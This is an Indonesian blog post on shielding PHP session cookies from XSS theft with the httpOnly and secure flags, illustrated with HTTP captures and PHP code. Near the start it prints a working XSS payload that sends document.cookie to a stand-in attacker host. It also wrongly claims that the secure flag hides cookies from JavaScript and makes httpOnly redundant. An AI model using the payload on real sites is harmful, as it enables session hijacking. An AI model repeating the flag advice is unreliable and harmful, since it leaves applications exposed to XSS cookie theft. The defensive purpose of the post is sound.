Dalam dunia web, session cookie adalah sesuatu yang sangat penting karena cookie adalah kunci untuk membajak session. Untuk membajak session attacker hanya perlu mencuri cookie korban. Salah satu teknik pencurian cookie adalah dengan jurus XSS (cross site scripting). Dalam artikel ini saya akan jelaskan teknik untuk melindungi cookie dari pencurian yang dilakukan dengan teknik XSS.
Sulitnya Mencegah XSS
Mencegah XSS bagi developer web sebenarnya gampang tapi susah karena developer harus memfilter setiap output ke browser pengguna yang terkadang sulit untuk dilakukan pada aplikasi yang kompleks. Bahkan dalam kondisi tertentu xss sulit dicegah karena developer harus menyeleksi mana yang boleh ditampilkan dan mana yang tidak boleh. Contohnya adalah pada aplikasi di mana pengguna hanya boleh memasukkan tag html tertentu seperti pada friendster dan myspace. Begitu banyak variasi tag html yang bisa dipakai untuk melancarkan serangan xss walaupun pengguna hanya boleh memasukkan tag tertentu saja, sehingga menyulitkan developer untuk memfilternya. Silakan baca XSS cheat sheet untuk melihat banyak sekali variasi xss yang mungkin. Perhatikan pula artikel di sini untuk melihat bagaimana xss pada myspace bisa dilakukan walaupun developer myspace sudah berusaha melakukan filtering, tapi masih tetap saja ada yang lolos.
Javascript kini jauh lebih powerful dibandingkan dulu, apalagi dengan hadirnya Web 2.0 dan Ajax. Semakin powerful javascript, semakin besar bahaya dari serangan yang mungkin dilakukan dengan javascript. XSS yang dulunya sering diremehkan kini menjelma menjadi bug yang mengerikan karena potensi serangannya yang dahsyat. Salah satu serangan yang bisa dilakukan dengan xss adalah mencuri cookie. Sebenarnya mencuri cookie hanyalah contoh kecil serangan xss, banyak kerusakan lain yang bisa dilakukan dengan xss, silakan baca vulnerability xss yang saya temukan pada cpnel di artikel: cpanel file manager xss. Dalam artikel itu saya beri contoh serangan xss pada cpanel untuk mengubah password email korban, mengerikan bukan?
document.cookie
Document.cookie adalah variabel untuk mengakses cookie di sebuah halaman web. Javascript bisa membaca, menulis dan mengubah cookie dengan memanipulasi variabel document.cookie. Karena itu, cookie menjadi rentan dicuri bila attacker bisa menginjeksi javascript di browser korban dengan XSS.
Bagaimanakah cara attacker mencuri cookie dengan xss? Sangat mudah, perhatikan script berikut:
<script> new Image().src="http://evilsite/grabcookie.php?c="+encodeURI(document.cookie); script>
Bila attacker berhasil menginjeksi script tersebut di sebuah web, maka attacker bisa menjadi orang lain yang menjadi korbannya. Script di atas menggunakan perilaku tag image yang akan melakukan request GET bila atribut src diubah, sehingga ketika script tersebut dieksekusi, browser korban akan melakukan request GET ke: “http://evilsite/grabcookie.php?c=VICTIMSCOOKIE” . Dengan kata lain cookie korban akan dikirimkan melalui request tersebut ke server attacker(evilsite).
httpOnly dan Secure Cookie Flag
Both httpOnly and secure flag protect cookie from javascript
Ada dua cookie bit yang bisa dipakai dalam cookie yang terkait dengan security, yaitu: httpOnly dan secure. Kedua flag tersebut sama-sama membuat cookie tidak bisa diakses dari javascript. Bila ada yang mengakses document.cookie, maka browser akan memberikan nilai string kosong. Namun kedua flag tersebut memiliki perbedaan dalam aturan pengiriman cookie ke server dalam sebuah request
Cookie dengan flag httpOnly boleh dikirim kembali ke server melalui koneksi apa saja, baik http maupun https. Flag ini dipakai untuk melindungi cookie dari javascript pada aplikasi yang tidak membutuhkan keamanan setingkat https. Tingkat keamanan yang lebih tinggi diberikan oleh flag secure. Selain membuat cookie tidak bisa diakses dari javascript, flag ini juga membuat cookie hanya boleh dikirim ke server dalam koneksi https. Dengan hanya melewatkan cookie dalam koneksi https, maka attacker tidak bisa mengintip cookie yang lewat di tengah perjalanan. Dalam artikel saya membajak session https permatanet, saya menunjukkan bagaimana cookie bisa dicuri bila cookie tidak dilindungi dengan secure flag.
Secure flag bisa juga disebut sebagai “https only” flag karena flag ini membuat cookie hanya boleh dikirim melalui koneksi https. Namun jangan bingung antara flag “https only” dengan httpOnly. Flag httpOnly bukan berarti cookie tersebut tidak boleh dikirim melalui https.
Mari kita lihat bagaimana server mengirimkan cookie ke browser dengan header Set-Cookie. Format header response Set-Cookie adalah sebagai berikut:
1 2 3 4 5 6 7 8 9 | Set-Cookie: |
Cookie pada baris ke-6 adalah contoh cookie yang paling umum, tanpa perlindungan apapun. Cookie semacam ini bisa dicuri dengan javascript xss, dan boleh dikirimkan melalui koneksi http maupun https sehingga rentan terhadap sniffing attack bila dikirim melalui http biasa.
Cookie pada baris ke-7 adalah contoh cookie httpOnly. Cookie semacam ini tidak bisa dicuri dengan javascript xss. Namun cookie ini boleh dikirimkan melalui koneksi http maupun https sehingga rentan terhadap sniffing attack bila dikirim melalui http biasa.
Cookie pada baris ke-8 adalah contoh cookie “https only”. Cookie semacam ini tidak bisa dicuri dengan javascript xss dan juga tidak bisa dikirim melalui http biasa sehingga kebal terhadap serangan sniffing. Cookie pada baris ke-9 sebenarnya sama saja dengan contoh pada baris ke-8. Flag secure saja sudah cukup, tidak perlu ditambahkan lagi flag httpOnly karena flag secure sudah melindungi cookie dari javascript sama seperti httpOnly.
httpOnly dan Secure Flag di PHP
Agar lebih memahami tentang flag pada cookie, saya akan memberikan contoh bagaimana membuat flag cookie pada php. Pertama saya akan membuat cookie yang tanpa memakai flag apapun. File php yang saya pakai adalah:
session_start();
?>
Hello World!
Sangat sederhana, script tersebut hanya menginisiasi session dengan fungsi session_start(). Dengan memanggil fungsi ini php akan mengirimkan cookie dengan header Set-Cookie kepada browser. Mari kita coba akses script php tersebut dari browser dan lihat apa yang terjadi.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | http://localhost/testhttponly/testcookie.php GET /testhttponly/testcookie.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 200 OK Date: Tue, 31 Mar 2009 08:01:08 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8i mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=822a078b7d3144a221174b7978866760; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 12 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html |
Perhatikan pada baris ke-17 terlihat header:
Set-Cookie: PHPSESSID=822a078b7d3144a221174b7978866760; path=/
Artinya server meminta browser menyimpan cookie tersebut. Karena cookie tersebut tidak memiliki flag httponly atau secure, maka browser mengijinkan javascript mengaksesnya. Sehingga ketika script alert(document.cookie) dieksekusi maka dialog box alert akan muncul berisi cookie.
Kini mari kita mencoba memakai flag httpOnly. Sebelumnya script php harus saya modifikasi dahulu dengan menambahkan fungsi session_set_cookie_params sebelum fungsi session_start(). Berikut adalah script php untuk contoh ini:
1 2 3 4 5 6 |
session_set_cookie_params(0,"/","",false,true);
session_start();
?>
Hello World!
|
Fungsi session_set_cookie_params dipakai untuk mengubah parameter cookie. Parameter terakhir adalah httpOnly flag, bila diberi nilai true, maka cookie session akan memakai flag httpOnly. Mari kita coba akses dari browser dan lihat apa yang terjadi bila javascript mencoba membacanya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | http://localhost/testhttponly/testcookie.php GET /testhttponly/testcookie.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 200 OK Date: Tue, 31 Mar 2009 08:50:05 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8i mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=f0cdcb001694502467c762204be9db58; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 54 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html |
Perhatikan pada baris ke-17, header Set-Cookie terdapat flag HttpOnly. Dengan memberi flag tersebut server meminta browser agar tidak mengijinkan javascript mengakses cookie tersebut. Mari kita lihat apa yang terjadi bila javascript mencoba membaca cookie pada gambar di bawah ini:
Terlihat bahwa dialog box yang muncul tidak mengandung cookie karena document.cookie menghasilkan string kosong. Dengan cara ini walaupun ada vulnerability xss pada suatu aplikasi web, maka xss tersebut tidak dapat dieksploitasi untuk mencuri cookie.
Sebagai contoh terakhir mari kita buat cookie yang mengandung secure flag. Untuk itu script php yang saya pakai adalah:
session_set_cookie_params(0,"/","",true,false);
session_start();
?>
Hello World!
Parameter kedua dari belakang saya beri nilai true agar php memberikan flag secure pada session cookie. Mari kita lihat sniffing traffic http yang terjadi.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | http://localhost/testhttponly/testcookie.php GET /testhttponly/testcookie.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 GTB5 ImageShackToolbar/5.0.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive HTTP/1.x 200 OK Date: Tue, 31 Mar 2009 09:07:49 GMT Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8i mod_autoindex_color PHP/5.2.6 X-Powered-By: PHP/5.2.6 Set-Cookie: PHPSESSID=90c2de0ac88e251476b3518ac92513a1; path=/; secure Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 54 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html |
Perhatikan pada baris ke-17 terdapat header Set-Cookie yang mengandung flag secure. Request tersebut saya lakukan tidak dengan https, artinya bila browser saya refresh(reload), maka cookie yang sudah didapat dari browser tidak akan dikirimkan. Cookie tersebut baru dikirimkan ketika request dilakukan dengan https. Mari kita lihat apa yang terjadi bila javascript mencoba mengakses cookie tersebut.
Pada gambar di atas terlihat bahwa document.cookie menghasilkan string kosong sehingga alert tidak menampilkan apa-apa. Ini artinya cookie tersebut akan kebal dari pencurian dengan xss.
PHP Configuration for Session Cookie
Dalam contoh di atas saya menggunakan fungsi php untuk mengatur flag cookie. Namun sebenarnya flag cookie bisa diatur dari file konfigurasi php.ini. Parameter yang perlu diatur adalah:
- session.cookie_httponly: isi dengan 1 bila ingin menambahkan flag httponly pada session cookie.
- session.cookie_secure: isi dengan 1 bila ingin menambahkan flag secure pada session cookie.
0 komentar:
Posting Komentar